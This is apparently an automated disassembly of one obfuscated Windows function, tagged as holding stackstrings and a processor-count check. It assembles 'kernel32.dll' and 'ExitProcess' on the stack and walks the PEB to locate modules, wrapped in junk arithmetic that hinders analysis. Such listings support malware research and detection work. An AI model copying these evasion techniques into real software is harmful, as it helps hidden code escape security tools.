Function at 0x405541
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push edx
push eax
add esp, 4
call fcn.004052c2
add byte [esp + ecx*2], dh
inc esi
inc ebp
cmp eax, 0xc4833a32
add esp, 4
pop edx
add esp, 4
pop edx
push edx
sub edx, 0xb716
pop edx
push ecx
add ecx, 0xbd37
pop ecx
push edi
push edx
add esp, 4
and edi, 0x10276
pop edi
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x40532a
push ebx
push esi
add esp, 4
add ebx, 0x7ec8
pop ebx
push ebx
sub ebx, 0x13a4a
pop ebx
push eax
push ebx
add esp, 4
sub eax, 0x14ce0
add eax, 0x184ba
pop eax
push edx
push edi
add esp, 4
sub edx, 0x10da7
pop edx
jmp 0x405558
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push ecx
add ecx, 0x6498
sub ecx, 0xc04d
and ecx, 0x37ab
pop ecx
push edi
push esi
add esp, 4
sub edi, 0xfcd1
pop edi
push ecx
push edi
add esp, 4
or ecx, 0xf2c8
add ecx, 0x14eab
pop ecx
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x4053d9
push eax
or eax, 0x15e8
and eax, 0x41e1
sub eax, 0x17bdb
add eax, 0xad4b
pop eax
push edx
push esi
add esp, 4
xor edx, 0x1817e
xor edx, 0xec9e
or edx, 0x12bf2
pop edx
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x40550a
cmp dword [ebp - 0xc88], 0
jle 0x4054fe
push esi
and esi, 0x18385
xor esi, 0xc814
or esi, 0x344a
pop esi
push edx
push ebx
add esp, 4
add edx, 0x1173a
or edx, 0x18209
add edx, 0x36
and edx, 0x8984
pop edx
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x40549a
push ebx
push ebx
add esp, 4
and ebx, 0x2c5f
or ebx, 0x143f3
pop ebx
push edx
push eax
add esp, 4
xor edx, 0xf5dc
sub edx, 0xf48e
add edx, 0x1737d
pop edx
push eax
xor eax, 0x11d02
pop eax
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x405482
mov dword [ebp - 0x15a0], 1
jmp 0x40548c
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x4054fe
push edi
push edi
add esp, 4
add edi, 0x146e7
or edi, 0x39c1
pop edi
push edi
and edi, 0x183b4
or edi, 0xc7df
call 0x4054c8
add byte [eax], bh
dec esp
inc eax
push eax
xor bh, byte [ebx]
inc ebx
xor edi, dword [esi]
add esp, 4
pop edi
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x4053d9
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x405553
push esi
and esi, 0x12b19
xor esi, 0xd3b3
sub esi, 0x71dc
add esi, 0x44fb
pop esi
push edx
push ecx
add esp, 4
call 0x405541
add byte [edi], dh
aas
dec edx
xor bh, byte [ebx + ecx*2]
cmp dword [ebx + 0x49], eax
add esp, 4
pop edx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x405594
jmp 0x4052a1
push ecx
or ecx, 0x14173
sub ecx, 0x63ad
or ecx, 0xf3bb
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0xfe26
or edi, 0x14f2
sub edi, 0x9d5e
sub edi, 0x136b7
pop edi
mov dword [ebp - 0xab8], 0
push eax
push ecx
add esp, 4
xor eax, 0x11d70
xor eax, 0xe317
and eax, 0xabbe
and eax, 0x16688
pop eax
push edx
sub edx, 0x7c54
sub edx, 0x665d
jmp 0x4055c5
pop edx
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push ebx
or ebx, 0xe5a0
add ebx, 0x7e43
or ebx, 0x16168
pop ebx
push esi
add esi, 0x7882
sub esi, 0x5f37
call 0x405648
add byte [edx + ecx*2], bh
inc edi
inc edx
dec esi
inc edi
add esp, 4
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push edx
push ecx
add esp, 4
or edx, 0x11977
add edx, 0x11d88
call 0x405704
add byte [esi + 0x36], al
cmp eax, dword [edi + 0x4a]
inc ecx
dec esi
xor al, byte [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
cmp byte [edx], dh
inc ebp
inc ebx
xor eax, 0x4c48338
pop edx
push ebx
push ebx
add esp, 4
add ebx, 0x7bd7
and ebx, 0x653c
add ebx, 0xa28b
and ebx, 0xe6a4
pop ebx
push ebx
xor ebx, 0x962e
and ebx, 0x571
or ebx, 0x13e51
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push ebx
push edi
add esp, 4
and ebx, 0x9f82
add ebx, 0x10a01
pop ebx
push edi
add edi, 0x1359b
add edi, 0x29a0
pop edi
push ebx
push edx
add esp, 4
and ebx, 0x183c5
add ebx, 0x14e60
pop ebx
cmp dword [ebp - 0x15d8], 0
jne 0x4057bb
mov dword [ebp - 0x31c], 0
jmp 0x405a77
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push esi
jmp 0x4057d7
call 0x4057e7
add byte [edx + 0x4b], al
aaa
push eax
cmp al, 0x4c
inc edi
cmp dword [0x4c48346], esi
xor esi, 0x156d2
pop esi
push ecx
add ecx, 0xda65
or ecx, 0xf874
pop ecx
cmp dword [ebp - 0xc98], 0
jne 0x405817
mov dword [ebp - 0x31c], 0
jmp 0x405a77
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push eax
push ecx
add esp, 4
xor eax, 0x13175
or eax, 0x12a42
and eax, 0x15eb1
xor eax, 0x324d
pop eax
push eax
push eax
add esp, 4
or eax, 0x168a6
jmp 0x405854
pop eax
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push eax
push edi
add esp, 4
xor eax, 0x8bd5
and eax, 0x145ba
pop eax
push esi
push esi
add esp, 4
add esi, 0x474b
add esi, 0x15612
add esi, 0xc8f6
pop esi
push edi
add edi, 0x4c4
pop edi
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push ebx
and ebx, 0xf67a
call 0x405924
add byte [eax], bh
cmp cl, byte [ebp + 0x3d]
inc esi
inc eax
aas
aas
dec esi
add esp, 4
pop ebx
push ebx
push esi
add esp, 4
or ebx, 0x49d1
sub ebx, 0xad3d
xor ebx, 0x837c
pop ebx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x405963
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x4059c6
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x405882
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x405882
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x4059b0
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x4059ba
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x405a0f
push edi
push eax
add esp, 4
call 0x4059e3
add byte [eax], bh
xor eax, 0x4f3e4933
dec ebx
cmp eax, dword [ebx + eax*4 - 0x3c]
add al, 0x81
out 0x70, eax
popal
add dword [eax], eax
and edi, 0x8741
pop edi
push esi
and esi, 0x4e7a
add esi, 0x5238
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x405a77
push edi
sub edi, 0x172d
jmp 0x405a1b
jmp 0x405a20
pop edi
push ebx
and ebx, 0x114b1
add ebx, 0xa751
sub ebx, 0xfffb
pop ebx
push eax
push esi
add esp, 4
add eax, 0xdf87
pop eax
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x405a6d
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x405823
mov dword [ebp - 0x31c], 0
push esi
push edx
add esp, 4
and esi, 0x1400e
xor esi, 0x13a61
jmp 0x405a90
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0xd782
sub ebx, 0xc6a2
sub ebx, 0x15a49
pop ebx
cmp dword [ebp - 0x31c], 0
jne 0x4063c2
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push edi
or edi, 0xfb69
and edi, 0x12a29
pop edi
push edi
call 0x405b6a
add byte [edx], bh
cmp eax, 0x834c4f32
les eax, [ecx + eax*4]
iretd
push ecx
jmp 0x4063c9
sub ecx, 0xf894
pop ecx
push edx
push edx
add esp, 4
call 0x4063e4
add byte [edi], dh
inc eax
dec ecx
cmp dword [ebx + 0x43], ecx
aas
cmp eax, 0xeb04c483
add al, 0x4f
dec ebp
xor al, 0x81
retf 0x47f5